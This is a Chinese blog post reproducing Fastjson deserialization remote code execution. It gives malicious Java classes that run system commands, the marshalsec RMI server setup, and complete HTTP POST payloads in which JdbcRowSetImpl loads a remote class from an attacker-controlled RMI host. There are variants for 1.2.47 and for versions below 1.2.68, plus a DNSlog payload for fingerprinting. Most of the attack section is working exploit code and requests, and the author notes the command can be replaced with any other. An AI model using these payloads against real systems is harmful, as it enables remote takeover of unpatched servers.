fastjson rce相关复现

实验环境

攻击机:Win 10(物理机)、ubantu16(公网环境,恶意java文件所在服务器)

靶机: ubantu18

 

 

 

 

 

注意

1.Ubuntu18开启恶意加载RMI的java环境需要为低版本1.8的任意版本

2.要有清晰的思路

3.python的简易网站使用的python版本为2.X(python -m SimpleHTTPServer 6666),3.X可直接使用

 

大致流程:

编写恶意类 --> 编译为class文件 --> 在class的目录用python开一个HTTP服务 --> marshalsec起一个RMI服务 --> 构造包触发反序列化点远程加载恶意类 --> 执行命令

 

①编写恶意类

在ubantu16上,写入一个java文件 TouchfIle.java 放在根目录/root,如果是windows的话就看着放,比如PHPSTUDY放WWW里

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

 

②编译成class   javac TouchFile.java

③在class文件的目录里用python开启简易HTTP服务

python3 -m http.server 4444

 

 

 

 

marshalsec起一个RMI服务

 

1.首先apt install marshalsec 安装哈

 

2.然后apt install maven 安装maven要编译

 

3.mvn clean package -DskipTests 编译marshalsec

4.进入marshalsec/target里,存在以下两个可以调用开启RMI服务的jar包

使用以下命令:

 

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:PORT/#TouchFile" 9999

 

 

 

 这里的vpsIP是指你的公网的开启web后放入TouchFile.class的那台服务器。本意为,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件。

 

⑤物理机抓包,并修改内容,GET改为POST

 

 

 

 

POST / HTTP/1.1
Host: 45.77.127.27:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 163

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://144.202.80.85:9999/TouchFile",
        "autoCommit":true
    }
}

 

 

 

⑥靶机成功执行命令

 

 

 

 

 json1.2.47 rce利用方式是一样的,只是把payload换成下面这个:

 POST / HTTP/1.1
Host: vpsA:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 266
Content-Type: application/json


{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsB:9999/Exploit",
        "autoCommit":true
    }
}

 

 

 

fastjson小于1.2.68全漏洞RCE利用exp

首先恶意类这样写:

 

其中touch /zydx666为系统命令,可以根据自己需求随意修改

 

注意该文件名叫Exploit.java固定格式不能变

 

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /zydx666"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

 

向靶机发送的包是这个

POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 260

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://2.2.2.2:9999/Exploit",
        "autoCommit":true
    }
}

 

 https://github.com/wyzxxz/fastjson_rce_tool  搭建服务快捷工具rml+class

 

 

漏洞检测

未知目标是否使用 Fastjson ,但站点有原始报错回显

如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

例如

 

 

 

 

 

无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson

可以用以下payload测试

{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

 

 

 

最终在dnslog上收到回显

最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson

 

参考:https://blog.csdn.net/god_zzZ/article/details/107122487

 

 

 



 

 



 

posted @ 2021-05-10 23:14  paku  阅读(364)  评论(0编辑  收藏  举报